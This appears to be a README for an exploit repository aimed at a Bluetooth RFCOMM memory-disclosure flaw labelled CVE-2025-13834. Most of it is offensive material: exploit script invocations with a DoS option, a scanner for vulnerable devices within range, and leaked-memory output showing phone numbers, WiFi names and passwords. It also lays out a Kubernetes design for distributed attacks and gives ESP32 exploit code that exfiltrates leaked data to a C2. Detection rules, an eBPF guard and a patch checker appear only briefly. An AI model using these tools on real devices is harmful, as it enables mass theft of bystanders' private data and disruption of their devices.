# Core Dependencies (Kali Linux 2024.1)
sudo apt update && sudo apt full-upgrade -y
sudo apt install -y build-essential git cmake python3-pip \
  bluez bluez-tools wireshark-qt tshark tcpdump \
  libusb-dev libglib2.0-dev ubertooth ubertooth-firmware

# Python Dependencies (Critical Versions)
pip3 install scapy==2.5.0 pybluez==0.30 pyserial==3.5 \
  construct==2.10.68 hexdump==3.3 phone-iso3166 regex

# Verify Bluetooth Adapter
hciconfig -a  # Expected: hci0 UP RUNNING
sudo hciconfig hci0 piscan  # Enable discovery

// ❌ UNSAFE: No bounds validation
pi.len = params->len;  // Attacker-controlled length
memcpy(pi.data, skb->data + RFCOMM_TEST_HDR_SIZE, pi.len);
// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// Reads beyond buffer if pi.len > actual payload

[RFCOMM Header:4B][Length:0x7F][Payload:3B "ABC"][124B LEAKED MEMORY][FCS:1B]

// ✅ SAFE: Bounds validation added
if (skb->len < RFCOMM_TEST_HDR_SIZE + pi.len) {
    BT_ERR("RFCOMM: Invalid TEST command length detected");
    return -EILSEQ;  // Drop malformed packet
}

# Basic exploitation (single target)
sudo python3 cve_2025_13834_exploit.py E8:AB:FA:12:34:56

# Advanced: 10 iterations + DoS
sudo python3 cve_2025_13834_exploit.py E8:AB:FA:12:34:56 10 --dos

[+] MEMORY LEAK CAPTURED (127 bytes)
0000: 41 42 43 00 2b 36 32 38 31 32 33 34 35 36 37 38  ABC.+62812345678
0010: 00 57 69 46 69 5f 48 6f 6d 65 5f 32 34 47 00 50  .WiFi_Home_24G.P
[!] PHONE NUMBER FOUND: +62812345678
[!] WiFi KEYWORD DETECTED: WiFi_Home_24G
[!] KERNEL POINTER at offset 32: 0xffff8800deadbeef

# Scan for vulnerable devices in range
sudo python3 bt_leak_scanner.py

# Output: JSON report of vulnerable MACs
{
  "vulnerable_devices": [
    {"mac": "E8:AB:FA:12:34:56", "name": "Redmi Buds 5 Pro"},
    {"mac": "34:E1:D1:AA:BB:CC", "name": "Mi True Wireless"}
  ],
  "stats": {
    "total_scanned": 12,
    "vulnerable": 2,
    "success_rate": "16.67%"
  }
}

# Aggregate and analyze all leaked data
python3 leak_analyzer.py

# Output:
[*] Extracted 12 readable strings:
  "+62812345678"
  "WiFi_Home_24G"
  "Pass1234"
  "E8:AB:FA:12:34:56"
[!] KASLR DEFEAT - Kernel base: 0xffff880000000000

┌───────────────────────────────────────────────────┐
│               K8s Cluster (100 Pods)               │
│ ┌─────────────┐    ┌─────────────┐    ┌─────────┐ │
│ │ Worker Pod  │ ←→ │ Redis Queue │ ←→ │ Worker  │ │
│ │ (BT Exploit)│    │ (Targets)   │    │ Pod     │ │
│ └─────────────┘    └─────────────┘    └─────────┘ │
└───────────────────────────────────────────────────┘
       ▲
       │
┌───────────────────────────────────────────────────┐
│                 Results Aggregator                │
│ - Real-time dashboard (Flask)                      │
│ - Leaked data storage (NFS)                       │
│ - Automated SOC alerts (Slack/JIRA)               │
└───────────────────────────────────────────────────┘

# Apply Kubernetes manifest
kubectl apply -f k8s-bt-exploitation.yaml

# Monitor dashboard
kubectl port-forward svc/aggregator-service 8080:80

SEC("kprobe/rfcomm_recv_test")
int block_oob_read(struct pt_regs *ctx) {
    struct sk_buff *skb = (void *)PT_REGS_PARM3(ctx);
    u16 declared_len;
    bpf_probe_read(&declared_len, sizeof(declared_len), skb->data + 2);
    int actual_len = PT_REGS_PARM4(ctx) - 5; // skb->len minus header
    if (declared_len > actual_len) {
        bpf_trace_printk("CVE-2025-13834 BLOCKED: declared=%d actual=%d",
                         declared_len, actual_len);
        return -1; // Drop packet
    }
    return 0;
}

# Compile and load eBPF program
clang -O2 -target bpf -c rfcomm_guard.bpf.c -o rfcomm_guard.o
sudo bpftool prog load rfcomm_guard.o /sys/fs/bpf/rfcomm_guard
sudo bpftool prog attach pinned /sys/fs/bpf/rfcomm_guard kprobe rfcomm_recv_test

alert bt any any -> any any (
    msg:"CVE-2025-13834 RFCOMM TEST Memory Disclosure Attempt";
    flow:established,to_server;
    content:"|10|"; offset:1; depth:1;  # TEST command
    byte_test:2,>,10,2,little;          # Length > minimal payload
    threshold:type limit, track by_src, count 1, seconds 60;
    classtype:attempted-recon;
    sid:2025001; rev:2;
)

# Automated patch validation
sudo ./check_cve_2025_13834.sh

# Output:
[✓] BlueZ 5.83: PATCHED
[✓] Kernel module: rfcomm_recv_test bounds check present
[✓] eBPF guard active

// ESP32 exploit (Arduino framework)
#include "BluetoothSerial.h"
BluetoothSerial BT;
uint8_t malicious_test[] = {0x03, 0x10, 0x7F, 0x00, 0x41, 0x42, 0x43, 0x70};
void setup() {
    BT.begin("ESP32_Bot");
    BT.write(malicious_test, sizeof(malicious_test));
    // Exfiltrate via WiFi to C2
    send_to_c2(BT.readBytes(127));
}

CVE-2025-13834/
├── exploits/
│   ├── cve_2025_13834_exploit.py          # Core exploitation script
│   ├── bt_leak_scanner.py                 # Mass scanning tool
│   ├── android_exploit.py                 # Android-specific PoC
│   └── windows_bt_exploit.ps1             # PowerShell implementation
├── defense/
│   ├── rfcomm_guard.bpf.c                 # eBPF runtime protection
│   ├── suricata_cve_2025_13834.rules       # IDS signatures
│   └── check_cve_2025_13834.sh            # Patch verification
├── analysis/
│   ├── leak_analyzer.py                    # Forensic analysis
│   ├── ghidra_bt_analyzer.py              # Firmware RE tool
│   └── ml_leak_classifier.py              # ML classification model
├── kubernetes/
│   ├── k8s-bt-exploitation.yaml           # Distributed attack manifest
│   └── distributed_worker.py              # K8s pod worker
├── legal/
│   ├── GDPR_Breach_Notification.md        # Compliance template
│   └── SEC_8K_Disclosure.md                # US public company filing
└── README.md                              # This document

# Clone repository
git clone https://github.com/red-team-research/CVE-2025-13834.git
cd CVE-2025-13834

# Install dependencies
./setup.sh

# Run exploit against test target
sudo python3 exploits/cve_2025_13834_exploit.py E8:AB:FA:12:34:56